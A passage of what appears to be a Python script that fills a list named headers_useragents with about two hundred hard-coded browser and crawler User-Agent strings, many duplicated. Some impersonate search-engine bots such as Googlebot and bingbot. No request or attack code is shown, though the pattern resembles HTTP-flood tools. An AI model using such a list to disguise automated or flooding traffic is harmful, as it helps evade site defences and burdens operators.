  630.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  631.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  632.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  633.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  634.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  635.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  636.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  637.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  638.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  639.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  640.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  641.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  642.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  643.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  644.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  645.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  646.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  647.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  648.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  649.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  650.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  651.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  652.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  653.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  654.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  655.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  656.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  657.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  658.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  659.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  660.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  661.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  662.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  663.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  664.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  665.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  666.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  667.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  668.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  669.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  670.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  671.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  672.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  673.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  674.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  675.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  676.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  677.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  678.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  679.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  680.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  681.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  682.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  683.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  684.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  685.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  686.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  687.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  688.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  689.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  690.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  691.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  692.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  693.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  694.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  695.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  696.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  697.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  698.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  699.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  700.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  701.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  702.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  703.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  704.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  705.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  706.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  707.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  708.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  709.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  710.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  711.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  712.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  713.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  714.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  715.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  716.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  717.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  718.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  719.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  720.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  721.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  722.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  723.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  724.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  725.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  726.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  727.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  728.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  729.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  730.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  731.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  732.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  733.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  734.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  735.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  736.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  737.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  738.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  739.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  740.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  741.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  742.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  743.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  744.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  745.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  746.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  747.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  748.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  749.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  750.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  751.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  752.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  753.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  754.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  755.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  756.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  757.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  758.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  759.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  760.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  761.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  762.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  763.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  764.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  765.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  766.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  767.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  768.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  769.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  770.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  771.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  772.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  774.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  775.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  776.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  777.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  778.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  779.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  780.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  781.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  782.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  783.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  784.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  785.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  786.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  787.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  788.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  789.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  790.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  791.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  792.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  793.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  794.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  795.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  796.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  797.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  798.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  799.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  800.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  801.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  802.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  803.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  804.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  805.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  806.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  807.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  808.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  809.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  810.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  811.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  812.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  813.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  814.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  815.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  816.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  817.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  818.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  819.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  820.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  821.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  822.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  823.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  824.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  825.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  826.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
